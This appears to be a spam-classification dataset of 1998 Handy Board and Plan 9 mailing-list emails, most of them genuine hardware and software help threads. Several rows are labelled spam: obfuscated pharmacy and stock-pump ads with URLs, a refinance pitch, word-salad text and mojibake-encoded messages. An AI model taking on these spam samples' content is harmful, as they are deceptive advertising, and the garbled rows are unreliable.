selecting which LED is flashing to determin where the wall is located. This might be cheaper. Hope this helps Pherd ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Fri, 20 Nov 1998 09:55:20 -0500",Re: motor port problem .,"Philip In a message dated 98-11-19 21:05:04 EST, you write: << hi, I have a big problem. I followed the method of yours that just lift up pin 8 of one L293 and wirewrapped it. The positive supply is wirewrapped to pin 8 . How about the negative supply of the batteries should insert or wirewrapped? I inserted the negative supply in the bottom row of digital input as ground together. >> The negative supply attaches to ground and the pins on the digital I/O port are fine, looks like nice thick traces to me. << Suddenly. after a short while, the L293 turn so hot. It burnt my hand. Besides, the socket on the HD mounted with pin 4,5,12,13 of L293 has melted in that particular area. Simply it is a plastic part. What is really happens ? >> [[Attached from the previous mail, I have already solved the problem listed below. It is the 7404 is damaged .What causes it? Any ideas? ]] I don't know why your 7404 went bad, but I can see why that might cause trouble for the L293. I also don't have spec sheet on the 293. Anybody know what happens to a 293 if both inputs are turned on at the same time? (Just turns on both outputs so no motor motion, right?) Sounds like you are drawing too much current. The 293 chips can be piggy backed to switch more current. The pins you mention are the ground pins for the chip. Most motor driver chips use the middle pins for grounding and LOW LEVEL cooling. Inside the plastic, the silicon is mounted on a wide piece of metal, the same width as these pins. This metal strip is cut to the shape of the pins outside the plastic body. The idea is if this is soldered to a big fat ground plane on a printed circuit board, it can disapate some heat. Probably ehough heat to keep the part from distroying itself at the rated current. As socket does not conduct heat like a solder joint, and even if it did the Handy Board does not have a ground plane to spread the heat out. In the near term I strongly suggest that you glue some metal to the top of these chips. I've seen penneys used, slugs from electrical socket boxes. If you use glue, you might think of getting some heat sink compound in between the metal and the top of the chip. They make special heat sinks that clip around chips of this size you might look for. <> On the component side to the left of the word START is a wide trace. This is the trace that elads from the switch (batter), to the motor supply pins. Cut this trace and plug the other motor supply at the + and - connector (which is above and to the right of the STOP swtich). If you cut exactly in the middle of exposed trace with a small gap (any gap is enough), you could repair the trace by scraping the green solder mask from the remaining trace and bridging the gap with solder and a little wire. See page 56 of the Handy Board Technical REference to see this trace easily. If you are really thinking of repairing this modification, I would really just consider using the lifted pin. It is much simpler to impliment and recover from. I would not go back and forth too often with either method. Folding the pin up and down will make it fall off, heating the trace too often will cause it to delaminate (come off the board). Hope this helps Pherd",0,0 phillip chia ,handybd ,"Fri, 20 Nov 1998 00:20:07 +0800",Power Expansion Header On Handy,"hi, I came to know that the power expansion can be used on J13 ( 1x4 pin jack). However, why there is a 2 positive holes and 2 negatives on this header? If i'm using a pair of DC motor 12V each, and i supply a 12v alkaline or NIMH rechargable batteries, can i just insert only a positive and a negative wire to the holes only instead 4 holes on the pin jack ? What is the significant of having 2 positive holes and 2 negative ? rgds, phillip ",0,0 phillip chia ,handybd ,"Fri, 20 Nov 1998 00:29:59 +0800",Analog Expansion Header On Handy,"Hi, I knew that the analog expansion header in connected to the PE0 to PE3. How should I call the analog command ? For example, if ( digital (11) ==1 ) ................. or if (analog (3) ==1 ) .................... Hence, how should I use to apply into writing a program using PE0 to PE3 ? rgds, phillip ",0,0 Franklin <973930@dcc.unicamp.br>,9fans@cse.psu.edu,"Fri, 20 Nov 1998 15:45:16 -0200",[9fans] Malloc," I'd like to allocate a block of memory of at least 32MB (my PC have only 64MB). I'm using malloc, but when I compile using 8c I can allocate only 16MB and when I use pcc I can allocate only 8MB. Franklin. ",0,0 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Fri, 20 Nov 1998 18:42:05 +0000",Re: [9fans] Malloc,"the limit isn't really a function of the compiler, since pcc uses the same one, but APE's libraries are typically larger. the problem is possibly a kernel limit on the PC: check that you don't need to change SEGMAPSIZE in /sys/src/9/pc/mem.h #define SEGMAPSIZE 64 /* 16 is for wooses */ i think this is in the FAQ somewhere, which you might check for details (in case anything else is required). perhaps /sys/src/ape/lib/ap/plan9/malloc.c needs similar changes to /sys/src/libc/port/malloc.c (which are in a boddle somewhere). ",0,0 Will ,Handyboard Mailing List ,"Fri, 20 Nov 1998 15:32:34 -0700",Re: LEGO: looking for gears,"Douglas Blank wrote: > Is there an inexpensive way to get a large assortment of many LEGO > gears? Call 1-800-453-4652 for a Lego Shop-At-Home catalog. They have an assortment called #5229 Gears & Differentials for $4.50, that has all but the huge 40-tooth gears. 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You can also used it with bk(), off(), and motor(). The syntax for motor() is: motor2(motor1, power1, motor2, power2); if there are any problems with the code e-mail me, or if you would like to add to it be my guest. Too bad we weren't using C++ because you wouldn't need different function names for every different number of motors. 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I need to know why the J13 is designed for 1x4 holes before i > decide to cut the trace. of course, only 2 connections are needed to make a ckt. > Is there any special requirement for power expansion for motor that i need > to use 4 holes instead of 2 holes ? you should figure up to several amps of current flow. > If I use 2 holes only( positive and negative) what will happen ? it should work fine. good luck. fred > I supply 12v rechargable alkaline batteries to 2 DC motor. > There is no explanation in the archive why the J13 is design with 4holes ( > 2 for positive & 2 for negative).pls help. > Thank. I need to hear from you asap. > rgds, > phillip > > ---------- > > From: Fred G. Martin > > To: phillip chia > > Cc: handybd > > Subject: Re: motor port problem > > Date: Tuesday, November 17, 1998 9:04 PM > > > > you may have blown one of your L293D chips. > > > > try swapping the two chips to see if the problem then migrates to > > motor 1. if it does, then you have blown an L293D. > > > > there is more info on debugging motor problems in the FAQ. See the > > answer to ""One of the motor outputs has stopped working"" at > > > > > http://el.www.media.mit.edu/projects/handy-board/faq/index.html#motordied > > > > Fred > > > > In your message you said: > > > hi, > > > i really need help urgently. Currently, I running my robot using 2 DC > motor > > > on port 2 & 3. I used external power supply to the L293D (pin 8). I did > not > > > cut the trace. I used Alkaline battery 12V recharagable . when I run my > > > robot, it is running smoothly. However, something went wrong. The port > 3 > > > for the left motor is not rotate anymore. > > > I tried numerous debugging method to see what is the problem. > > > > > > Firstly, the outcome of the problem is that the port 3 red LED > (reverse) is > > > always turning on. When I used the command : > > > > > > a) motor (3,50); ==> red LED and green LED is light up > > > b )motor (3, -50); ==> red LED is light up. Green LED is not light up > > > the red LED is still turning on for both command . Not the green LED. > > > However, When I used command : off(3) ; the red LED on port 3 turned > > > off. > > > > > > I tried to load the ""hbtest.c"" and then type "" testmotors( ); "" The > > > result is that the motor LEDS is begin to flash one at a time , > beginning > > > with motor 0-green, motor 0-red, motor 1-green, etc. When it reach > port3 > > > green LED, the port 3 red LED turn on all the way without turning off. > The > > > red LED stay light up even though the rest of the LED is still flashing > > > orderly. The port 3 green LED is still can flash normally. NO damage. > Only > > > the port 3 red LED has problem. > > > > > > Moreover, i pluck in the DC motor wires into the port 3, the motor is > not > > > moving. The rest of the port is moving . > > > > > > Please help .Thank . > > > > > > rgds, > > > phillip > > > > > > > > > >",0,1 Jenaro Ridder ,handyboard@media.mit.edu,"Sat, 21 Nov 1998 02:15:15 -0700",Re: VtAGxRA news,"Hi, P V C L X A V r A I e a m I o L A v n b A z I L i a i G a U I t x e R c M S ra n A http://www.claiccampe.com It must make haste, haste! said Gollum, beginning to climb out of his boat on to the shore to get at Bilbo. But when he put his long webby foot in the water, a fish jumped out in a fright and fell on Bilbos toes. Ugh! he said, it is cold and clammy!-and so he guessed. Fish! Fish! he cried. It is fish! Gollum was dreadfully disappointed; but Bilbo asked another riddle as ",1,1 DjKOz97@aol.com,handyboard@media.mit.edu,"Sat, 21 Nov 1998 11:09:08 -0500",Using 30VDC to drive motors,"Hello, I have finished building Matt Harlan's H-Bridge circuit (from the Handyboard FAQ) and I have come across the following instructions: ""Make sure the supply ground for the 18200's is connected to the HB ground. You'll get some very strange results if you don't. Use the motor supply header on the HB for this connection. You can take advantage of the noise filtering of the HB that way."" ""The motor control routines in IC are completely compatible with the 18200's. The enable lines for the HB motor chips go to the PWM line on the 18200's. The direction lines from the HB go to the direction line on the 18200's. HB pin 1 to PWM motor 1 HB pin 2 to direction motor 1 HB pin 9 to PWM motor 2 HB pin 10 to direction motor 2"" First, does this mean that I should connect the HB ground to the 30VDC ground I'm using to power the motors? Second, the does the pinout given above refer to the motor ports on the handyboard? If so, there is no connection on pin 2, and pins 9 and 10 refer to two different motors!? Thanks in advance for any advice. Dave ",0,0 """Graham, J. Todd"" ",handyboard@media.mit.edu,"Sat, 21 Nov 1998 14:04:15 -0600",New user - printf question/problem,"Okay, this may seem silly, but I've got a very basic question. Just received a new handyboard (assembled, ready to go from Gleason). After charging it up, installing the pcode and booting all works fine. The 'Interactive C' text shows on the screen. I can run IC and use the beep() functions and such. Most other functions seem to work as well. But, I cannot get it to do a printf command. If I try, it sits at the 'Downloading X number of bytes, X loaded' prompt and never returns. It does seem to download the code segment, just gets stuck doing it. What am I doing wrong? The hardware appears fine, as the display does show the IC welcome screen. Is there some other special library you have to use? At the startup of IC, I show the following libs being loaded: ic/libs/lib_hb.lis lib_hb.c ic/libs/r22_ir.lis ic/libs/r22_ir.icb ic/libs/r22_ir.c ",0,0 """Graham, J. Todd"" ",handyboard@media.mit.edu,"Sat, 21 Nov 1998 15:39:14 -0600",RE: New user - printf question/problem,"I'm still not sure what caused the problem, but a new bootstrap/reinstall of the pcode seems to have fixed the problem. I can now successfully use the printf function. Odd though, that that was the only command that wasn't working correctly. Todd ",0,0 Matt Harlan ,"DjKOz97@aol.com, handyboard@media.mit.edu","Sat, 21 Nov 1998 18:00:28 -0500",Re: Using 30VDC to drive motors,"Dave As far as connecting the grounds, that just means that the HB and the motors must share a common ground. The H-bridges need to reference the direction and PWM signal to ground and if that ground reference is not the same as the HB's the motors flip out. I used the motor power header for the gorund so that the motor supply ground runs throught the on board choke before it get's to the digital ground on the HB. Motor are noisy and can cause the HB to reset. > ""Make sure the supply ground for the 18200's is connected to the HB ground. >You'll get some very strange results if you don't. Use the motor supply >header on the HB for this connection. You can take advantage of the noise >filtering of the HB that way."" >First, does this mean that I should connect the HB ground to the 30VDC ground >I'm using to power the motors? YES. >""The motor control routines in IC are completely compatible with the 18200's. >The enable lines for the HB motor chips go to the PWM line on the 18200's. >The direction lines from the HB go to the direction line on the 18200's. >HB pin 1 to PWM motor 1 >HB pin 2 to direction motor 1 >HB pin 9 to PWM motor 2 >HB pin 10 to direction motor 2"" > >Second, the does the pinout given above refer to the motor ports on the >handyboard? If so, there is no connection on pin 2, and pins 9 and 10 refer to >two different motors!? It's been awhile since I had the HB out, but if memory serves me, those should be right. The connections are from the chip sockets for the on board h-bridges, to the 18200. after checking the schematics, the connections are right. Pin 1 on the L293 serves as the PWM input to the 18200, and Pin 2 is the direction. Pin 2 should be a direction connection from the '374 latch on the HB, and Pin 7 is its complement via an inverter. Are you sure pin 2 is not connected? I used a 16 pin DIP header for a ribbon cable to get the connection. Pin 1 and 2 on the L293 socket to one 18200 and 9 and 10 to the other 18200. Pins 9 and 10 should be setup the same way as pins 1 and 2. I'm not sure if that clears things up even a little. if not, tell me exactly what is connected and what isn't working, and we'll go from there. good luck matt ______________________________________________________ Matthew J. Harlan Cornell University Cornell Formula SAE Electrical Engineering Engine Management (607) 255-2541 mjh10@cornell.edu ",0,0 Rick Moll ,"Javaid Iqbal , Handy Board List ","Sat, 21 Nov 1998 17:36:31 -0600",Re: Arithmatic operation,"Javaid Iqbal wrote: > Hi all, > I am dividing 4.1 by 4.1 in following manner and getting answer 2. > instead of 1. > Dividing 4.2 by 4.2 give 1 result, dividing 4.6 by 4.6 again give 2. > Except 4.1 and 4.6 rest all numbers give 1 result. I am using IC 3.2. Any > help in this regards would be appreciated. I've asked for help with the floating point bugs in IC before, and nobody seems to care. Unfortunately, I've come to not use IC floating point variables at all, since I can't trust them. It's all very frustrating since none of the IC versions support long int division either; which also seriously cripples the use of IC for precision fixed point calculations. Later, Rick ",0,0 Justin Daniel Gullotta ,Rick Moll ,"Sat, 21 Nov 1998 19:30:37 -0800",Re: Arithmatic operation,"if you are not trying to divide numbers of great precision(many significant figures), then you can try multiplying by some order of 10, performing your division, then dividing by that same order of 10. i have used this before, but not for the same reason that you would be. i was having a serious truncation problem while incorporating PID code. it worked for me... but i think that your case, fraction truncation can be unpredictable. in any case, getting rid of the fractions would be a solution. good luck. Justin D. Gullotta.. , Engineer, Rensselaer Polytechnic Institute. Rick Moll wrote: > Javaid Iqbal wrote: > > > Hi all, > > I am dividing 4.1 by 4.1 in following manner and getting answer 2. > > instead of 1. > > Dividing 4.2 by 4.2 give 1 result, dividing 4.6 by 4.6 again give 2. > > Except 4.1 and 4.6 rest all numbers give 1 result. I am using IC 3.2. Any > > help in this regards would be appreciated. > > I've asked for help with the floating point bugs in IC before, and nobody > seems to care. Unfortunately, I've come to not use IC floating point > variables at all, since I can't trust them. It's all very frustrating since > none of the IC versions support long int division either; which also > seriously cripples the use of IC for precision fixed point calculations. > > Later, > > Rick ",0,0 Julian Bishop ,handyboard@media.mit.edu,"Sat, 21 Nov 1998 17:29:11 -0100",confirm please - T0m pr0filed Mark 0f her unit 's news ,"Why MGMX should be on your radar screen now! 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Keith ",0,0 """�饻��j���W�k�u ������� / �Τt�`�� �L�X�v�� �[��5���x�W�k�u �[�����D4842582 "" ",handyboard@media.mit.edu,"Tue, 19 Jun 1894 07:41:24 +0800",{Johnathon}18�ۤ��p�j�Y����(���䰪��18�ۦA�X����)133837681,�s�W����1 �q���W���U������������ �s�k���]�R��{�\\���� } Bruceg���P�����W���v���P�B!�P�����s���t�X�@ �����������s!!���bSONGLA!!��lower Bruceg�������Y���j�����P�����P�B�o�����L�Z�H���s�i�������j�����w��������conservative Ami Nagatsuki �������� 6/4/1979 158 85-59-86 n/a �@ botch,1,1 Bich Dally ,handyboard@media.mit.edu,"Sun, 22 Nov 1998 12:12:06 -0700",Re: VtAGRyA news,"Hi, L V V C P X A e I A I r a m v A L A o n b i G I L z a i t R U I a x e ra A M S c n http://www.unsaberilozak.com he had half fancied he had caught the dim echoes of a knocking sound from far above that came down through it to his lair. He stirred and stretched forth his neck to sniff. Then he missed the cup! Thieves! Fire! Murder! Such a thing had not happened since first he came to the Mountain! His rage passes description  the sort of rage that is only seen when rich folk that have more than they can enjoy ",1,1 """Joe Marie J. Maja"" ",HandyBoard ,"Mon, 23 Nov 1998 09:40:38 +0900",Re: Arithmatic operation,"Justin Daniel Gullotta wrote: > if you are not trying to divide numbers of great precision(many significant > figures), then you can try multiplying by some order of 10, performing your > division, then dividing by that same order of 10. i have used this before, but > not for the same reason that you would be. i was having a serious truncation > problem while incorporating PID code. it worked for me... but i think that > your case, fraction truncation can be unpredictable. in any case, getting rid > of the fractions would be a solution. good luck. > Yes, you are right. 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Kind regards Richard Willgoss UNSW, Sydney, Australia ",0,0 Justin Daniel Gullotta ,handyboard@media.mit.edu,"Mon, 23 Nov 1998 01:32:07 -0800",freeware problem,"hello, i downloaded the freeware version of IC for DOS, and i believe it to have a few problems. these problems were not in another version that i had on disk. the problems are: there are no stop_button(), start_button() functions, only left_button(), and right_button(), which cannot be used (i tried). and the analog() functions return 255 all the time. i am not sure about the digital functions, or anything else for that matter. can anyone tell me where a good and tested version is posted? i appreciate any help in this matter. Justin D. Gullotta.. Rensselaer Polytechnic Institute. ",0,0 ctaylor@SRTC.COM,handyboard@media.mit.edu,"Mon, 23 Nov 1998 03:01:59 -0500",Building an IR/ultrasound co-processor... (LONG),"Hi, I'm in the process of building a combination IR and ultrasound co-processor for my HandyBoard based robot. It's based on what Chuck McManis did for his Cougar bot. My version will have forward and backward looking IR and include the sampling and filtering for two Polaroid 6500 ranging modules (also forward and backward looking). I'm in the parts acquisition and planning phase right now and was hoping to bounce some of my ideas off the list prior to placing an order with DigiKey for the last of the parts. I'm planning on using the PIC16C77 because it has 2 CCR pins (ranging), SPI (communication with HandyBoard) and plenty of IO pins. Rough layout: \\ | / - * - Each of the lines represents a Sharp IS1U60 and a QEC233QT (\\/-) or F5F1QT (|) pair. - * - / | \\ * = ultrasound transducer (base is 8x10in) http://www.eecis.udel.edu/~ctaylor/gort_layout1.gif (a better picture) Questions: 1) DigiKey doesn't sell the TPIC2701, any ideas on a replacement part that DigiKey sells (I need 10 channels total)? 2) The IS1U60 datasheet has a 47 ohm resistor on the 5V supply and a 47uF cap between 5V and ground with a note that this should be as close as possible to the sensor. I was planning on running ~10in long wires from the PICProto to the IS1U60 and the IR LEDs, is this going to be a problem? Do I need separate resistor/cap pairs for each sensor/led pair or can I just connect all the 5V and ground lines in parallel? 3) The PICProto64 sheet shows C3 and C4 as polarized caps, for this I would want to use tantalum caps? 4) Should the MCLR pullup resistor (R2) be 100 ohms? 5) Where can I find a cheap (but not to slow) EPROM eraser? We have a really nice programmer at work, but we don't use EPROMs so we don't have an optical eraser... In case anyone cares, heres my current part list: PICProto64 $16.95ea (from microEngineering Labs) Support parts for PICProto64 LM340T-5.0-ND $.70ea 5V 1.0AMP regulator (REG1) P4841-ND $0.18ea 22pF monolithic ceramic cap (C1&C2) P2013-ND $.39ea 10uF tantalum cap (C3) ?? P2053-ND $.50ea .1uF tantalum cap (C4) ?? SE3419-ND $1.20ea (example crystal in PIC databook) Epson CA-301 9.8304M-C 9.8304Mhz crystal (Y1) (* this really should be 9.728Mhz *) 100H-ND 5/$.27 100Ohm 5% carbon film resistor (R2, pullup for MCLK) ED3740-ND $1.62ea (will get a bit of use, so I picked a nicer one) 40pin DIP solder tail socket from Mill-Max (for PIC) (* also needs LED1 and R3, see below *) PIC16C77/JW-ND $16.45ea 8K x 14 EPROM, 33 IO (8 A/D), 4.0v - 6.0v, max clock 20MHz, 40-CDip (it looks like DigiKey out of stock on this part now :-() LEDs HLMP-17{00,19,90}QT-ND $.30ea $2.82/10 (Red, Yellow and Green LEDs) 1.8v, 7.5mA, 27mW, 25+- deg beam QED233QT-ND $.38ea $3.53/10 (940nm IR LED) 1.5V, 100mA, 0.075mW, 18+- deg beam, 940nm F5F1QT-ND $.43ea $4.00/10 (940nm IR LED) 1.7V, 60mA, 0.28mW, 35+- deg beam (sidelooker) LED resistors 430H-ND 5/$.27 430ohm resistor (for HLMP-17{00,19,90}QT-ND) (5v-1.8v)/7.5mA ~= 430ohm 36H-ND 5/$.27 36ohm resistor (for QED233QT-ND) (5v-1.5v)/100mA ~= 36ohm 47H-ND 5/$.27 47ohm resistor (for F5F1QD-ND and IS1U60) (5v-1.7v)/60mA ~= 47ohm Sharp IS1U60 (from Marshall) $3.18ea Planned PIC16C77 pinouts: (every pin is used) SPI interface: SS <- 7 slave select SCK <- 18 serial clock SDI <- 23 serial data in SDO -> 24 serial data out Polariod ultrasonic ranging modules CCP1 <- 17 front ECHO CCP2 <- 16 rear ECHO RE0 -> 8 INIT RE1 -> 9 BINH infrared interface RA0 <- 2 IR sensor #0 front 0 FL left side looking RA1 <- 3 IR sensor #1 front 45 FLC left RA2 <- 4 IR sensor #2 front 90 FC center RA3 <- 5 IR sensor #3 front 135 FRC right RA4 <- 6 IR sensor #4 front 180 FR right side looking RB0 <- 33 IR sensor #5 rear 180 RR right side looking RB1 <- 34 IR sensor #6 rear 225 RRC right RB2 <- 35 IR sensor #7 rear 270 RC center RB3 <- 36 IR sensor #8 rear 315 RLC left RB4 <- 37 IR sensor #9 rear 360 RL left side looking RD0 -> 19 IR LED #0 front 0 FL left side looking RD1 -> 20 IR LED #1 front 45 FLC left RD2 -> 21 IR LED #2 front 90 FC center RD3 -> 22 IR LED #3 front 135 FRC right RD4 -> 23 IR LED #4 front 180 FR right side looking RC6 -> 25 IR LED #5 rear 180 RR right side looking RC7 -> 26 IR LED #6 rear 225 RRC right RB5 -> 38 IR LED #7 rear 270 RC center RB6 -> 39 IR LED #8 rear 315 RLC left RB7 -> 40 IR LED #9 rear 360 RL left side looking status RE2 -> 10 STATUS0 LED left bump RC0 -> 15 STATUS1 LED front bump RD5 -> 28 STATUS2 LED right bump RD6 -> 29 STATUS3 LED back bump RD7 -> 30 STATUS4 LED special Thanks, Clem",0,1 Peter ,9fans@cse.psu.edu,"Mon, 23 Nov 1998 14:05:22 +0700",Pre-approved Re-finance Application,"Dear Home Owner, Your credit doesn't matter to us! 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Rybski"" , Handyboard Mailing List ","Mon, 23 Nov 1998 10:28:59 -0700",Re: Incorrect number for Pitsco Dacta,"Oops. I gave out the fax number instead of the voice number. The correct telephone number for Pitsco Dacta is 1-800-362-4308. Sorry about that. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Suburbia is where the developer bulldozes out Will Bain, the trees, then names the streets after them. & Tatoosh --Bill Vaughn ",0,0 Randy Sargent ,"gulloj@rpi.edu, Javaid Iqbal ","Mon, 23 Nov 1998 09:31:56 -0800",Intermittend IC floating point divide problem," Dear Richard and Javaid, I have assigned a programmer to track down the floating point divide problem, and will keep you posted on its resolution. We believe it is a problem with the floating point library that is assembled into the pcode, so it is likely we should be able to release a new version of the pcode with a fix to the problem. -- Randy > Thankyou for your kind response to my student Javaid Iqbal on errors in > using floating point divide within IC software. The errors have > effectively brought our use to a full stop at present because we cannot > rely on results nor bypass what has become a random occurance of the > error. Would you know of anybody who can fix the bug or a different > software environment to use? > > Kind regards > > Richard Willgoss > UNSW, Sydney, Australia ---------------------------------------------------------------- Randy Sargent Newton Research Labs President Robotic Systems and Software rsargent@newtonlabs.com http://www.newtonlabs.com/ ",0,1 Christiansens ,handyboard@media.mit.edu,"Mon, 23 Nov 1998 14:14:54 -0500",Unsubscribe,"Unsubscribe me from the handy board mailing list please ",0,0 """Rutledge, Jack"" ",handyboard@media.mit.edu,"Mon, 23 Nov 1998 14:40:00 -0500",Unsubscribe," Please unsubscribe me from your handyboard list. Thank you. John Rutledge ",0,0 Alicia Pickens ,handyboard@media.mit.edu,"Mon, 23 Nov 1998 15:11:12 -0100",Re:,"Need some love pi11s? So, why go to your local dr@gstore? Why waste time and extra money? Why let people know about your intimate life? Evil-wishers are always around to spread rumors. 1097 We give you the issue! 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Knuth (Do not forget to get the errata from his Web site: there is a bug in his division algorithm). -- Eric At 09:31 11/23/98 , Randy Sargent wrote: > >Dear Richard and Javaid, > >I have assigned a programmer to track down the floating point divide >problem, and will keep you posted on its resolution. We believe it is a >problem with the floating point library that is assembled into the pcode, >so it is likely we should be able to release a new version of the pcode >with a fix to the problem. > >-- Randy > >> Thankyou for your kind response to my student Javaid Iqbal on errors in >> using floating point divide within IC software. The errors have >> effectively brought our use to a full stop at present because we cannot >> rely on results nor bypass what has become a random occurance of the >> error. Would you know of anybody who can fix the bug or a different >> software environment to use? >> >> Kind regards >> >> Richard Willgoss >> UNSW, Sydney, Australia > >---------------------------------------------------------------- >Randy Sargent Newton Research Labs >President Robotic Systems and Software >rsargent@newtonlabs.com http://www.newtonlabs.com/ ",0,1 SABBINENI@aol.com,handyboard@media.mit.edu,"Mon, 23 Nov 1998 16:15:58 -0500",Source code for IC," Hi Iam looking for IC source code for DOS/Windows. Has anyone got information Thanks for Help Bye Prasad ",0,0 """Fred G. Martin"" ","""Rutledge, Jack"" ","Mon, 23 Nov 1998 16:42:33 -0500",HOW TO UNSUBSCRIBE,"please *don't* send unsubscribe requests to the whole list. Fred Martin is the only person who can unsubscribe you. Send him email at fredm@media.mit.edu. Fred In your message you said: > Please unsubscribe me from your handyboard list. Thank you. > > John Rutledge > ",0,0 SABBINENI@aol.com,handyboard@media.mit.edu,"Mon, 23 Nov 1998 20:01:49 -0500",Source Code For IC,"Hi Iam looking for IC source code for DOS/Windows. Has anyone got information Thanks for Help Bye Prasad ",0,0 """Fred G. Martin"" ",SABBINENI@aol.com,"Mon, 23 Nov 1998 21:55:32 -0500",Re: Source Code For IC ,"try http://el.www.media.mit.edu/projects/handy-board/software/icsource.html fred > Hi > Iam looking for IC source code for DOS/Windows. Has anyone got information > > Thanks for Help > Bye > Prasad > ",0,1 """Daniel ."" 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Atkinson-Abutridy EMAIL: atkinson@inf.udec.cl Profesor Asistente Dept. de Ingenieria Informatica URL: http://www.inf.udec.cl/~atkinson Universidad de Concepcion Concepcion, CHILE Phone: (56) (41) 204305 Fax : (56) (41) 221770 ",0,1 """John A. Atkinson-Abutridy"" ",handyboard@media.mit.edu,"Tue, 24 Nov 1998 05:06:51 -0600",help,"Could someone tell me how the ""IR_signal"" function work, please?? John -- John A. Atkinson-Abutridy EMAIL: atkinson@inf.udec.cl Profesor Asistente Dept. de Ingenieria Informatica URL: http://www.inf.udec.cl/~atkinson Universidad de Concepcion Concepcion, CHILE Phone: (56) (41) 204305 Fax : (56) (41) 221770 ",0,1 ���ج� ,handyboard@media.mit.edu,"Tue, 24 Nov 1998 17:18:49 -0100",Fw:�C�H����.���k���藍����Ldepredate,"Indeed, behind trombone midwife related to sheriff.Now and then, cough syrup related to umbrella midwife inside necromancer.Furthermore, cough syrup inside photon returns home, and line dancer toward parking lot living with looking glass.Roy, the friend of Roy and starts reminiscing about lost glory with mirror around.toothaches remain chic.inside pine cone goes to sleep, but wedding dress beyond cream puff toward parking lot. ",1,0 """James A. Robinson"" ",Plan 9 Mailing List <9fans@cse.psu.edu>,"Tue, 24 Nov 1998 17:54:15 -0800",Re: [9fans] auth/key for pilot? ,"On Sat, 21 Nov 1998 23:04:11 -0800 I wrote: < Anyone know if there is a challenge/response < program for the 3com pilot that works with the < Plan9 system? And I want to thank presotto & forsythe for pointing me toward the Pilot PRC: http://plan9.bell-labs.com/netkey.prc and for the pilot and other systems: http://www.caldo.demon.co.uk/plan9/soft/netkey.html Jim",0,1 Randy Sargent ,"handyboard@media.mit.edu, gulloj@rpi.edu, Javaid Iqbal , jlj@isr.com","Tue, 24 Nov 1998 19:16:47 -0800",pcode 3.2 beta 1 with FP divide fix," Hi all, With Jon Howell's help, we now have available a new version of IC pcode which fixes the intermittent floating point divide problem. The divide problem was caused by a bug in the floating point library used by the pcode. The pcode works for IC 3.1/3.2, and is currently considered beta-test status. If you'd like to download and try it, please get it from: ftp://newtonlabs.com/pub/pcode-fp-fix pcode_hb.s19: Pcode 3.2 beta 1 for Handy Board pcode_rw.s19: Pcode 3.2 beta 1 for Rug Warrior pcoderwp.s19: Pcode 3.2 beta 1 for Rug Warrior Pro Instructions for installation: Please make a copy of your currently working pcode and then replace with the appropriate pcode from our ftp site. Then redownload your pcode. The bootup message should state ""IC 3.2 beta 1"" if you have successfully installed the new pcode. If you download the new pcode and try it, I'd really appreciate if you could send mail to ic@newtonlabs.com letting us know if it worked, or especially if something didn't work. We'd like to get the pcode out of beta and into our main distribution as soon as possible. Thanks for your feedback, and we apologize for the bug. -- Randy ---------------------------------------------------------------- Randy Sargent Newton Research Labs President Robotic Systems and Software rsargent@newtonlabs.com http://www.newtonlabs.com/ ",0,1 Bernd Klein ,"Rajbala Makar , ""handyboard@media.mit.edu"" ","Wed, 25 Nov 1998 09:02:53 +0100",Re: Sharp IR-Distance Sensor GP2D02,"Hi Rajbala, in germany i can get this sensor from ""Conrad Electronic"". The Sensor is produced from Sharp. It is a very interesting sensor, because it is cheap (ca. 16,00$) It is possible to measure distances between 8-80cm, with a accuracy from round about 1cm up to 10cm (Distance above 60cm). You get the distance coded into a 8Bit word. My software interface (Assembler) worked not properly, i think i have timing problems with the device. The GP2D02 is a ""Position sensitive detector = PSD"" it works like triangluation and measure with short ir pulses. For more information see: http://www.xs4all.nl/~jwasys/gp2d02.html good luck and i hope somebody can help bernd Rajbala Makar schrieb: > Hi: > Can u tell me where to get that sensor? Even I would like to experiment > with it. Did u get any further with your tests? > I mean, do u know upto how much distance it can sense and all? > Does it also need modulated output? Actually, I was experimenting with the > Sharp GP1U58X ir detector and i cannot get it to sense the ir radiations.. > I am trying to modulate the led output by software only.. > Bye, > Raj > > Hi all, > > > > have somebody experience with the Sharp GP2D02 IR-Distance Sensor. It´s > > a nice and > > cheap Sensor.. > > > > I plan it to connect via the SPI connector on the handyboard, but today > > i have problems with > > the timing.. > > > > Greetings > > > > > > Bernd Klein > > ",0,1 Nigel Roles ,Plan 9 Mailing List <9fans@cse.psu.edu>,"Wed, 25 Nov 1998 08:21:52 -0000",RE: [9fans] auth/key for pilot? ,"I also have netkey for the Psion 5.... -----Original Message----- From: James A. Robinson [mailto:Jim.Robinson@Stanford.Edu] Sent: Wednesday, November 25, 1998 1:54 AM To: Plan 9 Mailing List Cc: jimr@cse.psu.edu Subject: Re: [9fans] auth/key for pilot? On Sat, 21 Nov 1998 23:04:11 -0800 I wrote: < Anyone know if there is a challenge/response < program for the 3com pilot that works with the < Plan9 system? And I want to thank presotto & forsythe for pointing me toward the Pilot PRC: http://plan9.bell-labs.com/netkey.prc and for the pilot and other systems: http://www.caldo.demon.co.uk/plan9/soft/netkey.html Jim",0,1 """Mr H.L. Chin"" ",handyboard@media.mit.edu,"Wed, 25 Nov 1998 09:20:05 -0000",micro-mouse,"Hi! Can anyone tell me what are the registers that I have to initialise for a microcontroller before I start to write a program? Thank you. Chin ",0,0 Arne Freyberger ,ggilfoyl@richmond.edu,"Wed, 25 Nov 1998 08:00:41 -0500",Re: an offer you can't refuse??,"jerry, A vague estimate would be $75/hour or $1000 for two days of dedicated support/effort. If this sounds unreasonable let me know since it is a wild ass guess. This would be for a LINUX only install. A mixed architecture configuration will be double the cost and probably double the time since I haven't done a none-LINUX install. My understanding of DQS is at a much better level now than it was when we spoke. Although I cannot guarantee it I would estimate that the post installation support will be minimal and can be done remotely. I'd be willing to provide remote support as well. In addition to setting up the queues we will need to talk about getting the data onto disk and machine configuration. That is it would be best to have prelim meeting to make sure all the hardware is in place. I suppose I'll need to come up with a name for the ""consulting"" company.... Arne -- Arne Freyberger JLAB (Mail Stop 12H) Phone: (757) 269-6268 12000 Jefferson Avenue Pager: (757) 249-6268 freyberg@cebaf.gov Newport News, VA 23606 Phax: (757) 269-5800 http://claspc1.cebaf.gov ",0,1 Bernd Klein ,"""handyboard@media.mit.edu"" ","Wed, 25 Nov 